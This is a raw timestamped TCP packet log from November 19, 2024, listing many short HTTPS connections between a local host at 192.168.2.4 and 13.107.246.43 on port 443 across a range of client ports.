Nov 19, 2024 00:02:13.334992886 CET	49784	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.335021019 CET	49784	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.335038900 CET	443	49784	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.335061073 CET	49784	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.335072994 CET	443	49784	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.337682009 CET	49793	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.337707996 CET	443	49793	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:13.337775946 CET	49793	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.338022947 CET	49793	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:13.338038921 CET	443	49793	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.038167953 CET	443	49789	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.038835049 CET	49789	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.038894892 CET	443	49789	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.039459944 CET	49789	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.039473057 CET	443	49789	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.048767090 CET	443	49791	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.049222946 CET	49791	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.049252987 CET	443	49791	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.049881935 CET	49791	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.049891949 CET	443	49791	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.061239004 CET	443	49790	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.061680079 CET	49790	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.061741114 CET	443	49790	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.062196970 CET	49790	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.062222004 CET	443	49790	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.063237906 CET	443	49792	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.063621998 CET	49792	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.063697100 CET	443	49792	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.064083099 CET	49792	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.064095974 CET	443	49792	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.084976912 CET	443	49793	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.085369110 CET	49793	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.085412979 CET	443	49793	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.085855961 CET	49793	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.085864067 CET	443	49793	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.169352055 CET	443	49789	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.169662952 CET	443	49789	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.169780970 CET	49789	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.170047998 CET	49789	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.170095921 CET	443	49789	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.170125008 CET	49789	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.170140028 CET	443	49789	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.173609972 CET	49794	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.173697948 CET	443	49794	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.173811913 CET	49794	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.173993111 CET	49794	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.174026966 CET	443	49794	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.178164959 CET	443	49791	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.178291082 CET	443	49791	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.178368092 CET	49791	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.178523064 CET	49791	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.178539991 CET	443	49791	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.178565025 CET	49791	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.178575993 CET	443	49791	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.181298018 CET	49795	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.181329966 CET	443	49795	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.181420088 CET	49795	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.181566954 CET	49795	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.181582928 CET	443	49795	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.193891048 CET	443	49792	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.193941116 CET	443	49790	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.194133043 CET	443	49790	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.194283009 CET	443	49792	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.194384098 CET	49790	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.194441080 CET	49792	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.194441080 CET	49792	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.194441080 CET	49792	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.194655895 CET	49790	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.194705963 CET	443	49790	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.194737911 CET	49790	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.194753885 CET	443	49790	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.197344065 CET	49796	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.197370052 CET	443	49796	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.197546005 CET	49796	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.197576046 CET	49796	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.197582960 CET	443	49796	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.197724104 CET	49797	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.197765112 CET	443	49797	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.200350046 CET	49797	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.200568914 CET	49797	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.200598955 CET	443	49797	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.219235897 CET	443	49793	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.219425917 CET	443	49793	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.219522953 CET	49793	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.219801903 CET	49793	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.219801903 CET	49793	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.219813108 CET	443	49793	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.219835997 CET	443	49793	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.222131968 CET	49798	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.222153902 CET	443	49798	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.222254992 CET	49798	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.222522974 CET	49798	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.222551107 CET	443	49798	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.497242928 CET	49792	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.497312069 CET	443	49792	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.926500082 CET	443	49794	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.927160978 CET	49794	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.927229881 CET	443	49794	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.927719116 CET	49794	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.927736998 CET	443	49794	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.936111927 CET	443	49795	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.937093973 CET	443	49797	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.937338114 CET	49795	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.937356949 CET	443	49795	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.937706947 CET	49795	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.937714100 CET	443	49795	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.937875032 CET	49797	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.937903881 CET	443	49797	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.938177109 CET	49797	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.938182116 CET	443	49797	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.949254036 CET	443	49796	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.949841976 CET	49796	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.949903011 CET	443	49796	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.950484037 CET	49796	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.950499058 CET	443	49796	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.963680983 CET	443	49798	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.964979887 CET	49798	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.965001106 CET	443	49798	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:14.965401888 CET	49798	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:14.965411901 CET	443	49798	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.060127974 CET	443	49794	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.060529947 CET	443	49794	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.060600996 CET	49794	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.060849905 CET	49794	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.060849905 CET	49794	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.060894966 CET	443	49794	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.060920954 CET	443	49794	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.063797951 CET	49799	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.063849926 CET	443	49799	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.063939095 CET	49799	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.064064026 CET	49799	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.064080954 CET	443	49799	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.066530943 CET	443	49797	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.066663980 CET	443	49797	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.066719055 CET	49797	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.066744089 CET	49797	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.066759109 CET	443	49797	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.066771984 CET	49797	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.066776991 CET	443	49797	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.068336010 CET	443	49795	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.069031000 CET	49800	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.069073915 CET	443	49800	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.069140911 CET	49800	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.069237947 CET	49800	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.069255114 CET	443	49800	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.072293043 CET	443	49795	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.072371006 CET	49795	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.072418928 CET	49795	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.072439909 CET	443	49795	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.072479010 CET	49795	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.072494030 CET	443	49795	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.075026035 CET	49801	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.075115919 CET	443	49801	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.075206995 CET	49801	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.075325966 CET	49801	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.075364113 CET	443	49801	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.082741976 CET	443	49796	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.082901955 CET	443	49796	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.082990885 CET	49796	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.083075047 CET	49796	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.083076000 CET	49796	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.083120108 CET	443	49796	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.083149910 CET	443	49796	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.085138083 CET	49802	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.085149050 CET	443	49802	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.085227013 CET	49802	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.085344076 CET	49802	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.085354090 CET	443	49802	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.093252897 CET	443	49798	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.093604088 CET	443	49798	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.093691111 CET	49798	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.093732119 CET	49798	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.093732119 CET	49798	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.093749046 CET	443	49798	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.093770981 CET	443	49798	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.095876932 CET	49803	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.095963001 CET	443	49803	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.096056938 CET	49803	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.096165895 CET	49803	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.096196890 CET	443	49803	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.815268993 CET	443	49800	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.815893888 CET	49800	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.815918922 CET	443	49800	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.816231966 CET	49800	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.816237926 CET	443	49800	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.834316015 CET	443	49801	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.834822893 CET	49801	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.834883928 CET	443	49801	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.835001945 CET	443	49803	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.835107088 CET	49801	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.835155010 CET	443	49801	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.835280895 CET	49803	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.835299969 CET	443	49803	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.835572958 CET	49803	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.835583925 CET	443	49803	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.835658073 CET	443	49802	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.835846901 CET	49802	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.835855961 CET	443	49802	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.836134911 CET	49802	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.836141109 CET	443	49802	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.946491957 CET	443	49800	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.946634054 CET	443	49800	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.946999073 CET	49800	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.946999073 CET	49800	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.946999073 CET	49800	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.948884010 CET	443	49799	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.949317932 CET	49799	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.949376106 CET	443	49799	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.949620962 CET	49799	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.949634075 CET	443	49799	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.949743986 CET	49804	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.949790955 CET	443	49804	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.950009108 CET	49804	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.950009108 CET	49804	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.950073957 CET	443	49804	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.965816021 CET	443	49801	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.966267109 CET	443	49803	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.966306925 CET	443	49801	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.966397047 CET	49801	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.966475010 CET	443	49803	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.966638088 CET	49803	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.966912031 CET	49801	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.966949940 CET	443	49801	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.966978073 CET	49801	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.966995001 CET	443	49801	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.967483044 CET	49803	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.967494011 CET	443	49803	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.967540026 CET	49803	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.967550039 CET	443	49803	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.968384027 CET	443	49802	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.968538046 CET	443	49802	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.968594074 CET	49802	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.969177008 CET	49802	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.969192028 CET	443	49802	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.969202042 CET	49802	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.969207048 CET	443	49802	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.971385956 CET	49805	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.971472025 CET	443	49805	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.971551895 CET	49805	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.972071886 CET	49805	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.972109079 CET	443	49805	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.972393990 CET	49806	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.972417116 CET	443	49806	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.972472906 CET	49806	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.972565889 CET	49806	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.972579956 CET	443	49806	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.972628117 CET	49807	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.972650051 CET	443	49807	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:15.972718000 CET	49807	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.972814083 CET	49807	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:15.972834110 CET	443	49807	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.078670979 CET	443	49799	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.079166889 CET	443	49799	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.079237938 CET	49799	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.079308033 CET	49799	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.079308033 CET	49799	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.079363108 CET	443	49799	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.079389095 CET	443	49799	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.081161976 CET	49808	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.081217051 CET	443	49808	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.081285000 CET	49808	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.081435919 CET	49808	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.081454992 CET	443	49808	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.246891022 CET	49800	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.246907949 CET	443	49800	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.684653044 CET	443	49804	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.685326099 CET	49804	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.685353041 CET	443	49804	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.685987949 CET	49804	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.685996056 CET	443	49804	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.708839893 CET	443	49805	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.709350109 CET	49805	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.709389925 CET	443	49805	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.709785938 CET	49805	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.709800959 CET	443	49805	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.719690084 CET	443	49806	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.720097065 CET	49806	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.720115900 CET	443	49806	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.720536947 CET	49806	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.720541954 CET	443	49806	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.721983910 CET	443	49807	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.722223997 CET	49807	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.722254992 CET	443	49807	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.722678900 CET	49807	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.722688913 CET	443	49807	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.816931963 CET	443	49804	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.817065001 CET	443	49804	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.817295074 CET	49804	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.817295074 CET	49804	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.817295074 CET	49804	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.817956924 CET	443	49808	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.818357944 CET	49808	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.818423033 CET	443	49808	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.818732977 CET	49808	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.818752050 CET	443	49808	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.820169926 CET	49810	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.820229053 CET	443	49810	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.820329905 CET	49810	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.820461988 CET	49810	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.820491076 CET	443	49810	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.839284897 CET	443	49805	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.839457035 CET	443	49805	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.839657068 CET	49805	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.840151072 CET	49805	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.840151072 CET	49805	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.840187073 CET	443	49805	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.840209961 CET	443	49805	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.842541933 CET	49811	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.842588902 CET	443	49811	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.842665911 CET	49811	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.842813015 CET	49811	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.842829943 CET	443	49811	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.855912924 CET	443	49807	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.856055975 CET	443	49807	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.856142044 CET	49807	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.856297970 CET	49807	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.856297970 CET	49807	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.856314898 CET	443	49807	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.856333017 CET	443	49807	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.858314991 CET	49812	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.858369112 CET	443	49812	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.858439922 CET	49812	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.858552933 CET	49812	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.858578920 CET	443	49812	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.864758968 CET	443	49806	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.865869999 CET	443	49806	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.865927935 CET	49806	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.865953922 CET	49806	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.865973949 CET	443	49806	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.865988970 CET	49806	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.865994930 CET	443	49806	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.868195057 CET	49813	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.868217945 CET	443	49813	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.868298054 CET	49813	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.868421078 CET	49813	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.868434906 CET	443	49813	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.947040081 CET	443	49808	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.947180986 CET	443	49808	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.947381020 CET	49808	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.947381973 CET	49808	443	192.168.2.4	13.107.246.43
